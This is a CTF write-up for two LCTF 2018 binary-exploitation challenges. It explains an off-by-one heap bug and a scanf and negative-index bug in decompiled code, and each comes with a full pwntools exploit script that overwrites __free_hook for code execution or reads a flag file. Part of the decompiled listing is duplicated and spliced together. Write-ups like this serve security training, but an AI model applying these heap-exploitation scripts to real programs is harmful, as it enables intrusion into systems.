LCTF 2018 Writeup

11 minute read

Pwn

Easy Heap

Still a notepad style heap challenge, here is a few key functions:

unsigned __int64 free_p()
{
  unsigned int _index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index \n> ");
  _index = read_num();
  if ( _index > 9 || !*(_QWORD *)(16LL * _index + malloc_array) )
    exit_p();
  memset(*(void **)(16LL * _index + malloc_array), 0, *(unsigned int *)(16LL * _index + malloc_array + 8));
  free(*(void **)(16LL * _index + malloc_array));
  *(_DWORD *)(16LL * _index + malloc_array + 8) = 0;
  *(_QWORD *)(16LL * _index + malloc_array) = 0LL;
  return __readfsqword(0x28u) ^ v2;
}


unsigned __int64 put_p()
{
  unsigned int _index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index \n> ");
  _index = read_num();
  if ( _index > 9 || !*(_QWORD *)(16LL * _index + malloc_array) )
    exit_p();
  puts(*(const char **)(16LL * _index + malloc_array));
  return __readfsqword(0x28u) ^ v2;

    int _sizea; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  LODWORD(_size) = 0;
  while ( (signed int)_size <= 9 && *(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    LODWORD(_size) = _size + 1;
  if ( (_DWORD)_size == 10 )                    // limited max size to 10
  {
    puts("full!");
  }
  else
  {
    m_ptr = malloc_array;
    *(_QWORD *)(m_ptr + 16LL * (signed int)_size) = malloc(0xF8uLL);
    if ( !*(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    {
      puts("malloc error!");
      exit_p();
    }
    printf("size \n> ", _size);
    size = read_num();
    if ( size > 0xF8 )
      exit_p();
    *(_DWORD *)(16LL * _sizea + malloc_array + 8) = size;
    printf("content \n> ");
    read_content(*(_BYTE **)(16LL * _sizea + malloc_array), *(_DWORD *)(16LL * _sizea + malloc_array + 8));
  }
  return __readfsqword(0x28u) ^ v5;
}
}


unsigned __int64 malloc_p()
{
  __int64 m_ptr; // rbx
  __int64 _size; // [rsp+0h] [rbp-20h]
  int _sizea; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  LODWORD(_size) = 0;
  while ( (signed int)_size <= 9 && *(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    LODWORD(_size) = _size + 1;
  if ( (_DWORD)_size == 10 )                    // limited max size to 10
  {
    puts("full!");
  }
  else
  {
    m_ptr = malloc_array;
    *(_QWORD *)(m_ptr + 16LL * (signed int)_size) = malloc(0xF8uLL);
    if ( !*(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    {
      puts("malloc error!");
      exit_p();
    }
    printf("size \n> ", _size);
    size = read_num();
    if ( size > 0xF8 )
      exit_p();
    *(_DWORD *)(16LL * _sizea + malloc_array + 8) = size;
    printf("content \n> ");
    read_content(*(_BYTE **)(16LL * _sizea + malloc_array), *(_DWORD *)(16LL * _sizea + malloc_array + 8));
  }
  return __readfsqword(0x28u) ^ v5;
}


unsigned __int64 __fastcall read_content(_BYTE *content, int size)
{
  unsigned int index; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  index = 0;
  if ( size )
  {
    while ( 1 )
    {
      read(0, &content[index], 1uLL);
      if ( size - 1 < index || !content[index] || content[index] == 0xA )
        break;
      ++index;
    }
    content[index] = 0;
    content[size] = 0;                          // off by one
  }
  else
  {
    *content = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}


void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int _opt; // eax

  setbuf_print_slogan();
  malloc_array = (__int64)calloc(0xA0uLL, 1uLL);
  if ( !malloc_array )
  {
    puts("init error!");
    exit_p();
  }
  while ( 1 )
  {
    while ( 1 )
    {
      sub_B38();
      _opt = read_num();
      if ( _opt != 2 )
        break;
      free_p();
    }
    if ( _opt > 2 )
    {
      if ( _opt == 3 )
      {
        put_p();
      }
      else if ( _opt == 4 )
      {
        exit_p();
      }
    }
    else if ( _opt == 1 )
    {
      malloc_p();
    }
  }
}

Here, malloc_array is a array like structure which stores chunks returned by malloc and the length of content inside the chunk.

The most important part is off by one in read_content function. We we specified a size equal to the chunk. The prev_inuse byte of following chunk will be erased. Thus, we can create an overlapping chunk. We use TCache to double free the overlapping chunks and do arbitrary write.

However, all the size of chunks here are 0x100. Since ‘\x00’ is terminated symbol in C and the read_content will check that, we cannot write 0x200 to prev_size directly to overlap.

We can use unsorted bin to write the prev_size. The idea is that when unsorted bin merge, it will leave prev_size. Imagine this we are going to merge nearby chunks A, B, C to an unsorted bin(size 0x100):

Add Chunk A to unsorted bins:
+---------------+
|  size: 0x100  | -> size of unosrted bin
+---------------+
|     fd/bk     |
+---------------+
|               |
|               |
|               |
+---------------+
|prev size:0x100|
+---------------+

Add Chunk B to unsorted bins:
+---------------+
|  size: 0x200  | -> size of mereged unsorted bin
+---------------+
|     fd/bk     |
+---------------+
|               |
|               |
|               |
+---------------+
|prev size:0x100| -> the old prev_size will leave here
+---------------+
|  size: 0x100  | 
+---------------+
|               |
|               |
|               |
|               |
+---------------+
|prev size:0x200| -> new prev_size for unorted bin
+---------------+

The unsorted bin size is 0x200, and we add Chunk C now
+---------------+
|  size: 0x300  | -> size of unosrted bin
+---------------+
|     fd/bk     |
+---------------+
|               |
|               |
|               |
+---------------+
|prev size:0x100|
+---------------+
|  size: 0x100  |
+---------------+
|               |
|               |
|               |
|               |
+---------------+
|prev size:0x200| -> we got prev_size for overlapping!
+---------------+
|  size: 0x100  | 
+---------------+
|               |
|               |
|               |
|               |
+---------------+
|prev size:0x300| -> Last added prev_size
+---------------+

When the chunks get freed, it will only change the last added prev_size, and the middle one(0x200) remains the same.

Finally, we can overlap and use double free. “Full RELRO” is enabled. We have to overwrite free_hook to one_gadget to RCE. By the way, remember filled the TCache list by 7 chunks to use unsorted bin:

from pwn import *

p = process("easy_heap")
context.log_level = "DEBUG"

def _free(index):
    p.sendlineafter(">", "2")
    p.sendlineafter(">", str(index))

def _malloc(size, content):
    p.sendlineafter(">", "1")
    p.sendlineafter(">", str(size))
    p.sendlineafter(">", content)

def _puts(index):
    p.sendlineafter(">", "3")
    p.sendlineafter(">", str(index))

def fill_tcache(start, end, step = 1):
    for i in range(start, end, step):
        _free(i)

def remove_tcache(num):
    for i in range(0, num):
        _malloc(2, "a")


# Initialize
for i in range(0, 10):
    _malloc(0x2, "a")

# fill the TCache to put chunk to unsorted bins
fill_tcache(3, 10)

# Chunk1 and chunk2 will merged, so chunk3's prev_size = 0x200
# Now, we can use off by one to overlap chunks
_free(0)
_free(1)
_free(2)

# Apply again to split unsorted bin
# The array will be filled from 0 ~ 6
remove_tcache(7)

# Split unosrted bin now, we can get 0x200 in prev_size of chunk9
_malloc(0x2, "7") # chunk7
_malloc(0x2, "8") # chunk8

# If we continue use free, they will be put to unosrted bin
# and the prev_size byte will be erased
# therefore, we apply tacache to store them
# We also need to switch there location in list
# Otherwise we cannot erase the prev_inuse byte
_malloc(0x2, "9")
_free(8)
fill_tcache(0, 6)
_free(7)

# off by one
remove_tcache(6)
_malloc(0xf8, "8")

# Again, we need to full filled our TCache to use unsorted bin
fill_tcache(0, 7)

# Trigger Overlap
_free(9)
remove_tcache(7)
_malloc(0x1, "a")

# Leak main_arena
_puts(7)
main_arena = p.recvline()[1:-1]
base = u64(main_arena + '\x00' * 2) - 0x3ebca0
print "base_addr: " + hex(base)
one_gadget = base + 0x4f322
free_hook = base + 0x3ed8e8
print "free_hook:" + hex(free_hook)

# TCache Arbitrary Write
_malloc(2, "0x9")
_free(7)
_free(9)
_malloc(0x10, p64(free_hook))

# Merege chunks to extra write
fill_tcache(0, 7)
remove_tcache(7)
_malloc(0x10, p64(one_gadget))
_free(0)

p.interactive()

pwn4fun

This challenge is tricky…

The full source code implements a card game and is to large to paste here, u can find correspond challenge in my github repo.

Main function:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int one_more_or_not; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  g4lf_string = 'g4lf';
  zero_byte = 0;
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  copy_admin_to_dest();
  enter_and_start_game();
  sign_in_or_sign_up();
  some_encrypt_and_open_file();
  menu();
  play_game();
  puts("one more?(0/1)");
  __isoc99_scanf("%d", &one_more_or_not);
  if ( one_more_or_not == 1 )
  {
    printf("Goodbye! %s", 24LL * user_idx + 6304000, a2);
    sign_in_or_sign_up();
    some_encrypt_and_open_file();
    menu();
    play_game();
  }
  return 0LL;
}

Okay, and the vulnerable function:

unsigned __int64 some_encrypt_and_open_file()
{
  int fd; // ST0C_4
  int v2; // [rsp+8h] [rbp-68h]
  int v3; // [rsp+8h] [rbp-68h]
  int v4; // [rsp+8h] [rbp-68h]
  char file; // [rsp+10h] [rbp-60h]
  __int16 v6; // [rsp+11h] [rbp-5Fh]
  char v7; // [rsp+13h] [rbp-5Dh]
  char buf; // [rsp+20h] [rbp-50h]
  unsigned __int64 v9; // [rsp+68h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( !user_idx )
  {
    v6 = *(_WORD *)((char *)&g4lf_string + 1);
    v7 = HIBYTE(g4lf_string);
    v2 = 233;
    file = -23 * g4lf_string;
    while ( v2 != 240 )
    {
      if ( file & 1 )
      {
        file = 3 * file + 1;
        v2 *= 6;
      }
      else
      {
        file /= 2;
        v2 = (v2 + 39) % 666;
      }
    }
    file += 126;
    v3 = 233;
    HIBYTE(v6) *= -23;
    while ( v3 != 144 )
    {
      if ( v6 & 0x100 )
      {
        HIBYTE(v6) = 3 * HIBYTE(v6) + 1;
        v3 *= 6;
      }
      else
      {
        SHIBYTE(v6) /= 2;
        v3 = (v3 + 39) % 666;
      }
    }
    HIBYTE(v6) = (char)(-45 * HIBYTE(v6) + 97) / 13;
    v4 = 233;
    v7 *= -23;
    while ( v4 != 240 )
    {
      if ( v7 & 1 )
      {
        v7 = 3 * v7 + 1;
        v4 *= 6;
      }
      else
      {
        v7 /= 2;
        v4 = (v4 + 39) % 666;
      }
    }
    v7 += 102;
    fd = open(&file, 0);
    read(fd, &buf, 0x3CuLL);
    puts("congrantualtions!");
    puts(&buf);
  }
  return __readfsqword(0x28u) ^ v9;
}

When satisfy if ( !user_idx ), it will do a series of operations(actually read file fl4g here). So, we need user_idx == 0. Let’s check where is the definition of user_idx:

unsigned __int64 sign_in()
{
  int i; // [rsp+Ch] [rbp-24h]
  char name; // [rsp+10h] [rbp-20h]
  char num_1; // [rsp+18h] [rbp-18h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  getchar();
  num_1 = 1;
  puts("input your name");
  __isoc99_scanf("%9s", &name);
  for ( i = num_1; i <= user_num; ++i )
  {
    if ( !strcmp(&name, &dest_bss[24 * i]) )
    {
      printf("Welcome! %s\n", 24LL * i + 0x603100);
      user_idx = i;
      return __readfsqword(0x28u) ^ v4;
    }
  }
  puts("no such one!");
  sign_in_or_sign_up();
  return __readfsqword(0x28u) ^ v4;
}

Actually, name and num_1 is in a array of length 8. Because some decompile errors, they are separated now. When __isoc99_scanf("%9s", &name);, we can overwrite the num_1. So, we can control i = num_1 to be initialized with 0. The next problem is this:

if ( !strcmp(&name, &dest_bss[24 * i]) ) //the first string indest_bss is `admin`
{
  printf("Welcome! %s\n", 24LL * i + 0x603100);
  user_idx = i;
  return __readfsqword(0x28u) ^ v4;
}

dest_bss is an array for storing strings. Here, it compares to it and user_idx = i; when two strings equal. If we put admin, the condition is satisfied.

How can we overwrite the num_1 and append admin at the same time. The answer is "%9s" in scanf function. So, the payload should be admin\x00\x00\x00\x00.

After reading fl4g, we found it’s fake. How can we read real flag. We come to the next step of exploiting.

This function allows us to throw card a, g, and p in ` my_e_cards` arrays:

unsigned __int64 make_choice()
{
  int throw_num; // [rsp+Ch] [rbp-14h]
  int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  if ( action_nums > my_life )
  {
    puts("you have to throw you e_card!");
    v3 = action_nums - my_life;
    while ( 1 )
    {
      while ( v2 < action_nums )
      {
        switch ( my_e_cards[v2] )
        {
          case 97:
            printf("%d Attack ", (unsigned int)++v2);
            break;
          case 103:
            printf("%d Guard ", (unsigned int)++v2);
            break;
          case 112:
            printf("%d Peach ", (unsigned int)++v2);
            break;
        }
      }
      puts(&byte_4024A9);
      puts("put the e_card number you want to throw");
      __isoc99_scanf("%d", &throw_num);
      if ( throw_num <= action_nums && throw_num >= 0 )
        break;
      puts("invalid input");
    }
    --action_nums;
    while ( throw_num <= action_nums )
    {
      my_e_cards[throw_num - 1] = my_e_cards[throw_num];
      ++throw_num;
    }
    v2 = 0;
    if ( v3 > 1 )
    {
      while ( 1 )
      {
        while ( v2 < action_nums )
        {
          switch ( my_e_cards[v2] )
          {
            case 97:
              printf("%d Attack ", (unsigned int)++v2);
              break;
            case 103:
              printf("%d Guard ", (unsigned int)++v2);
              break;
            case 112:
              printf("%d Peach ", (unsigned int)++v2);
              break;
          }
        }
        puts(&byte_4024A9);
        puts("put the e_card number you want to throw");
        __isoc99_scanf("%d", &throw_num);
        if ( throw_num <= action_nums )
          break;
        puts("invalid input");
      }
      --action_nums;
      while ( throw_num <= action_nums )
      {
        my_e_cards[throw_num - 1] = my_e_cards[throw_num];
        ++throw_num;
      }
    }
  }

They mystery is in throwing cards:

unsigned __int64 make_choice()
{
...
      puts("put the e_card number you want to throw");
      __isoc99_scanf("%d", &throw_num);
      if ( throw_num <= action_nums && throw_num >= 0 )
        break;
      puts("invalid input");
    }
    --action_nums;
    while ( throw_num <= action_nums )
    {
      my_e_cards[throw_num - 1] = my_e_cards[throw_num];
      ++throw_num;
    }
    v2 = 0;
    if ( v3 > 1 )
    {
      ...
        __isoc99_scanf("%d", &throw_num);
      ...
      --action_nums;
      while ( throw_num <= action_nums )
      {
        my_e_cards[throw_num - 1] = my_e_cards[throw_num];
        ++throw_num;
      }
...

Looks at it:if ( throw_num <= action_nums && throw_num >= 0 ), we can throw card index 0, which will result:

my_e_cards[throw_num - 1] = my_e_cards[throw_num];
++throw_num;

We can switch my_e_cards[-1] once throw_num is 0! How doest it relate to our exploit? Inspect the bss area:

.bss:00000000006031F0 g4lf_string     dd ?                   
.bss:00000000006031F8 my_e_cards      db ?  

We can change the 4 in g4lf_string by throwing a. In addition, we need a g following by the a to recover the last byte g:

from pwn import *
s = process("./sgs")
context.log_level = "DEBUG"

from pwn import *
p = process("./sgs")

p.sendlineafter("game","")
p.sendlineafter("?", "U")
p.sendlineafter("name", "a" )
p.sendlineafter("!", "1")
result = p.recv()
state=0
sent=0
found = 0

while result.find("lose") == -1:
    if result.endswith("ass\n"):
        p.sendline("3")
        state = 0
    elif result.endswith("throw\n"):
        if state == 1 and found == 1 and sent <= 4:
            state = 0
            sent += 1
            p.sendline("-5")
        else:
            if result.find("1 Attack") != -1:
                p.sendline("0")
                found = 1
            elif result.find("2 Attack") != -1:
                p.sendline("1")
            elif result.find("3 Attack") != -1:
                p.sendline("3")
            elif result.find("4 Attack") != -1:
                p.sendline("4")
            else:
                p.sendline("1")
            state = 1
    elif result.find("guard") != -1:
        p.sendline("0")
        state = 0
    result = p.recv()
    print result

p.sendline("1")
p.sendlineafter("?","I")
p.sendlineafter("name","admin"+"\x00"*4)
p.interactive()

Leave a comment